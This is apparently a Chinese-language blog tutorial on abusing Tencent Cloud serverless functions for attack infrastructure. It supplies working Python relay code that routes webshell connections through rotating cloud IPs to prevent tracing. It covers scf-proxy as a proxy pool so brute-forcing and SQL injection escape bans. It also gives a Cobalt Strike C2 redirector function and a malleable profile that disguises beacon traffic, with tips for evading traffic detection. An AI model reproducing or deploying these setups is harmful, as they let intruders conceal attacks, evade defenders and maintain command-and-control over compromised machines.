前言
之前學到一些雲函數的利用,感覺很有趣,於是借此篇來總結一下三種對雲函數的簡單利用方式。
雲函數
雲函數(Serverless Cloud Function,SCF)是騰訊雲為企業和開發者們提供的無服務器執行環境,幫助您在無需購買和管理服務器的情況下運行代碼。您只需使用平台支持的語言編寫核心代碼並設置代碼運行的條件,即可在騰訊雲基礎設施上彈性、安全地運行代碼。SCF 是實時文件處理和數據處理等場景下理想的計算平台。總結雲函數的幾個特性:
- 多出口
- 調用時創建執行
- 無需服務器VPS承載
防溯源連接Webshell
之前最好的是某安全攻防實驗室公眾號發布了一篇<論如何防溯源連接Webshell>,利用雲函數多出口的特性來規避溯源,可惜的是不久后就該文章就被刪除了。以下介紹實際的利用方式
雲函數創建
選擇自定義創建

函數代碼中腳本如下,主要是通過將Webshell地址作為參數傳入雲函數API中,在雲函數服務端腳本中重組Webshell地址以及POST命令內容,將重組后的請求內容轉發給Webshel
#!/usr/bin/env # -*- coding:utf-8 -*- import requests import json from urllib.parse import urlsplit def geturl(urlstr): jurlstr = json.dumps(urlstr) dict_url = json.loads(jurlstr) return dict_url['u'] def main_handler(event, context): url = geturl(event['queryString']) host = urlsplit(url).netloc postdata = event['body'] headers=event['headers'] headers["HOST"] = host resp=requests.post(url,data=postdata,headers=headers,verify=False) response={ "isBase64Encoded": False, "statusCode": 200, "headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding}, "body": resp.text } return response

在觸發器配置中選擇API網關觸發,然后點擊創建,過一會會提示創建成功。
https://service-dafetmeh-xxxx/release/Webshell_Bypass?u=http://xxxx/webshell.php


利用
我們可以通過蟻劍直接連接Webshell,URL請求地址填為api地址+webshell地址

然后vps端通過監控日志查看訪問webshell的ip地址

通過access.log可以發現每次請求都是不同的ip地址並且都是來自上海地區的騰訊雲(根據自己選擇地區而改變)

通過雲函數的方法我們便可以隱藏連接Webshell的本機IP地址,從而防止溯源,如果使用可以蟻劍,為了達到更隱秘的目的,可以自行對Webshell流量進行加解密的操作來逃逸流量檢測,流量檢測+白名單IOC的方式可以完美的逃避檢測。
注入/目錄爆破爆破防Ban
雲函數其實也可以作為一種變相的代理池供我們所用,利用雲函數的多出口性來防止爆破或者SQL注入的時候被Ban
雲函數創建
這里可以哈希安全團隊公開的SCF-Proxy來實現,第一次看到Scf-Proxy的概念的應該是學蟻致用的作者,通過客戶端監聽獲取請求並且組裝API請求,服務端雲函數解析且重組API請求,通過SCF-Proxy不光可以實現代理http請求,也可以代理https請求(類似Burp中間人監聽的方式)
項目地址:https://github.com/hashsecteam/scf-proxy
下載下來然后利用Golang編譯客戶端和服務端,這里我把客戶端編譯成Win版本使用
還是選擇自定義創建,但是這里要選擇Go,而不是默認的python,並,執行方法改為server,且選擇本地上傳zip,將server.zip上傳上去

觸發管理中依然選擇API網關管理,創建完成后來到觸發管理獲取API地址

利用
首先客戶端開啟監聽 ./client.exe -port 10086 雲函數api地址

此時再通過dirsearch設置http代理的方式爆破VPS的目錄

查看access_log可以看到爆破的ip地址分布

由於此次選擇的是廣州地區,於是訪問的ip基本都是來自廣州

也可以代理訪問https網站

由此可以實現爆破目錄以及Sqlmap的爆破不被Ban
C2隱藏
通過雲函數的特性,我們依然可以做到CS上線的隱藏,由於Cs支持HTTP/HTTPS類型的Beacon,因此我們也可以通過雲函數來轉發HTTP/HTTPS請求,該方法學習自狼組北美第一突破手師傅
雲函數創建
與第一種別無二樣,依然選擇API網關觸發的方式,就是雲函數服務端腳本修改為如下
# -*- coding: utf8 -*- import json,requests,base64 def main_handler(event, context): C2='http://<C2服務器地址>' # 這里可以使用 HTTP、HTTPS~下角標~ path=event['path'] headers=event['headers'] print(event) if event['httpMethod'] == 'GET' : resp=requests.get(C2+path,headers=headers,verify=False) else: resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) print(resp.headers) print(resp.content) response={ "isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers), "body": str(base64.b64encode(resp.content))[2:-1] } return response
Cs可以定制Profile來更加隱匿流量這里使用如下的Profile
set sample_name "kris_abao"; set sleeptime "3000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get { set uri "/api/getit"; client { header "Accept" "*/*"; metadata { base64; prepend "SESSIONID="; header "Cookie"; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "Nodejs"; output { base64; print; } } } http-stager { set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js"; } http-post { set uri "/api/postit"; client { header "Accept" "*/*"; id { base64; prepend "JSESSION="; header "Cookie"; } output { base64; print; } } server { header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output { base64; print; } } }
創建完后放到將api.profile放到服務端Cs上
可以通過c2lint檢查一下profile,可以看到正常的定義http類型Beacon的get和post請求時的樣子

監聽設置

生成木馬,點擊后上線

公網地址會不斷的跳,因為這里呈現的是請求源的IP,也就是我們的雲函數IP地址,基本都是騰訊的IDC機房中的IP 在該過程中遇到了一些問題,比如說Stager較大,導致請求超時,這時候可以修改代碼加點演示設置即可